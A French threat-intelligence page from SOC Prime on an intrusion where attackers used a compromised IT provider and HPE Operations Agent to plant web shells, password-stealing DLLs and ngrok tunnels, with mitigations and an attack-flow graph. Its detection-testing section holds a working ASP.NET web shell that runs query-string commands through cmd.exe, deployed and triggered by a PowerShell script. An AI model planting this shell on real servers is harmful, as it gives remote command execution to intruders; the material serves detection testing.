Enquête sur une intrusion furtive par compromission tierce

SOC Prime Team

Suivre

Enquête sur une intrusion furtive par compromission tierce

Detection stack

AIDR
Alert
ETL
Query

Rapport
Flux d'Attaque
Détections
Simulations

Résumé

Le rapport examine une intrusion furtive où des acteurs de menace ont compromis un fournisseur de services informatiques tiers, puis abusé de l’Agent d’Opérations HPE légitime pour déployer des web shells, des DLLs voleurs de mots de passe et des utilitaires de tunneling. En s’appuyant sur un logiciel de gestion de confiance au lieu d’une exploitation bruyante, les attaquants ont pu maintenir un accès à long terme tout en minimisant les signes évidents de compromission.

Enquête

La réponse aux incidents de Microsoft a retracé l’activité depuis le déploiement initial du web shell sur les serveurs exposés à Internet jusqu’à l’exécution de VBScript via l’Agent d’Opérations HPE. L’enquête a ensuite révélé l’enregistrement de fournisseurs de réseau et de DLLs de filtre de mots de passe malveillants sur les contrôleurs de domaine, suivi de la réutilisation des identifiants récoltés et de l’utilisation des tunnels ngrok pour faciliter le mouvement latéral à travers l’environnement.

Atténuation

Les défenses recommandées incluent la réduction et le contrôle strict de l’accès des tiers de confiance, la surveillance des enregistrements non autorisés de DLL dans les paquets de notification LSA, la détection des changements suspects de web shell, l’imposition d’un filtrage d’égress strict et l’assurance d’une couverture EDR sur tous les points finaux.

Réponse

Si cette activité est détectée, isolez les systèmes compromis, retirez les DLLs et web shells malveillants, révoquez les identifiants volés, désactivez les fournisseurs de réseau non autorisés, et chassez le mouvement latéral en utilisant les artefacts collectés.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["Action – T1199 Relation de Confiance Compromettre un fournisseur de services informatiques tiers et utiliser l’Agent d’Opérations HPE de confiance pour exécuter du code malveillant."] class action_initial_trusted action tool_hpe_oa["Outil – Nom: Agent d’Opérations HPE (OA) But: Agent légitime utilisé pour exécuter des scripts sur les serveurs cibles."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["Action – Exécution de VBScripts (T1059.005) Exécuter abc003.vbs pour la découverte du système, du réseau et AD."] class action_execution_vbscript action file_abc003["Fichier – Nom: abc003.vbs Type: Script Visual Basic"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["Action – T1505.003 Composant de Logiciel Serveur: Web Shell Déployer Errors.aspx et Signoff.aspx web shells sur des serveurs exposés à Internet."] class action_persistence_webshell action file_errors["Fichier – Nom: Errors.aspx Fonction: Web shell d’exécution de commande à distance."] class file_errors file file_signoff["Fichier – Nom: Signoff.aspx Fonction: Web shell d’exécution de commande à distance."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["Action – T1556.008 DLL de Fournisseur de Réseau Enregistrer le malveillant mslogon.dll sur les contrôleurs de domaine pour capturer les identifiants en texte clair."] class action_persistence_np_dll action file_mslogon["Fichier – Nom: mslogon.dll Emplacement: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["Action – T1556.002 DLL de Filtrage de Mots de Passe Ajouter passms.dll en tant que paquet de notification LSA sur DC01/DC02 pour intercepter les changements de mot de passe."] class action_persistence_passdll action file_passms["Fichier – Nom: passms.dll Emplacement: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["Action – T1552.001 Identifiants dans les Fichiers Stocker les identifiants récoltés dans des fichiers en texte clair ou encodés sur le disque."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["Action – T1003 Vidage d’Identifiants du Système d’Exploitation Interception basée sur DLL offre un vidage d’identifiants sans outils externes."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["Action – T1078.003 Comptes Valides : Comptes Locaux Réutiliser les identifiants récoltés pour s’authentifier via RDP et SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["Action – T1021 Services à Distance Établir des sessions RDP sur des tunnels ngrok cryptés pour se déplacer latéralement."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["Action – T1090 Proxy Déployer ngrok comme proxy multi-u2011saut pour créer des canaux de C2 discrètes."] class action_c2_proxy action tool_ngrok["Outil – Nom: ngrok But: Créer des tunnels TCP/HTTPS pour le tunneling de trafic."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["Action – T1572 Tunneling de Protocole Encapsuler le trafic C2 dans les tunnels ngrok pour éviter la détection."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["Action – T1039 Données provenant du Lecteur Réseau Partagé Préparer des fichiers d’identifiants encodés sur des partages SMB distants avant exfiltration."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["Action – T1574.001 Détournement de Flux d’Exécution : DLL msupdate.dll exfiltre des données via SMTP et SMB, déguisé en fichiers image."] class action_defense_dll action file_msupdate["Fichier – Nom: msupdate.dll Payload: Données encodées envoyées comme icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["Action – T1547.004 DLL d’Aide à Winlogon Enregistrer mslogon.dll en tant qu’aide à Winlogon pour garantir l’exécution à la connexion."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|utilise| tool_hpe_oa tool_hpe_oa –>|exécute| action_execution_vbscript action_execution_vbscript –>|exécute| file_abc003 action_execution_vbscript –>|mène à| action_persistence_webshell action_persistence_webshell –>|crée| file_errors action_persistence_webshell –>|crée| file_signoff action_persistence_webshell –>|permet| action_persistence_np_dll action_persistence_np_dll –>|installe| file_mslogon action_persistence_np_dll –>|permet| action_persistence_passdll action_persistence_passdll –>|installe| file_passms action_persistence_passdll –>|stocke| action_cred_in_files action_cred_in_files –>|fournit des données pour| action_os_credential_dump action_os_credential_dump –>|permet| action_lateral_local action_lateral_local –>|utilise| action_lateral_remote action_lateral_remote –>|utilise| tool_ngrok tool_ngrok –>|facilite| action_c2_proxy action_c2_proxy –>|permet| action_c2_tunnel action_c2_tunnel –>|soutient| action_collection_share action_collection_share –>|fournit des fichiers pour| action_defense_dll action_defense_dll –>|utilise| file_msupdate action_defense_dll –>|soutient| action_persistence_winlogon action_persistence_winlogon –>|se repose sur| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Flux d’attaque

Narratif et Commandes de l’Attaque :
1. Compromission Initiale : L’attaquant obtient un accès en écriture au web root (par exemple, via un identifiant volé ou une faille de téléversement vulnérable).
2. Déploiement de Shell Web : Ils téléversent un ASP.NET web-shell malveillant nommé Errors.aspx (ou modifient un Signoff.aspxexistant) qui exécute des commandes PowerShell arbitraires fournies via la chaîne de requête.
3. Déclenchement du Shell : L’attaquant envoie une requête HTTP GET au shell avec une charge utile PowerShell dans le cmd paramètre, par exemple, https://corp.example.com/Errors.aspx?cmd=whoami. Cette requête est enregistrée par IIS, produisant une cs-uri-stem valeur de /Errors.aspx – exactement ce que la règle Sigma correspond.

Script de Test de Régression : Le script reproduit les étapes 2‑3 (le téléversement est simulé en copiant un fichier pré-créé dans le web root ; le déclenchement est effectué via Invoke-WebRequest).

# -------------------------------------------------
# Script de Simulation de Shell Web – Windows Server/IIS
# -------------------------------------------------
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx",
    [string]$Payload = "whoami"
)

# 1. Déployer un simple web-shell ASP.NET (minimal pour tester)
$shellContent = @"
<%@ Page Language="C#" %>
<% 
string cmd = Request.QueryString["cmd"];
if (!String.IsNullOrEmpty(cmd)) {
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
%>
"@

$shellPath = Join-Path $WebRoot $ShellName
Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force

Write-Host "[+] Déployé shell web à $shellPath"

# 2. Donner au serveur web un moment pour enregistrer le nouveau fichier
Start-Sleep -Seconds 2

# 3. Appeler le web-shell pour générer l'entrée de journal de détection
$uri = "http://localhost/$ShellName?cmd=$Payload"
Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null

Write-Host "[+] Déclenché shell web via $uri"
# -------------------------------------------------

Commandes de Nettoyage : Retirer le shell web de test et tous les fichiers résiduels.

# Script de nettoyage – retirer le web-shell simulé
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx"
)
$shellPath = Join-Path $WebRoot $ShellName
if (Test-Path $shellPath) {
    Remove-Item -Path $shellPath -Force
    Write-Host "[+] Retiré $shellPath"
} else {
    Write-Host "[-] Fichier shell non trouvé; rien à nettoyer."
}

Rejoignez la plateforme Detection as Code de SOC Prime pour améliorer la visibilité sur les menaces les plus pertinentes pour votre entreprise. Pour vous aider à démarrer et à générer une valeur immédiate, planifiez dès maintenant une réunion avec des experts de SOC Prime.

Rejoindre gratuitement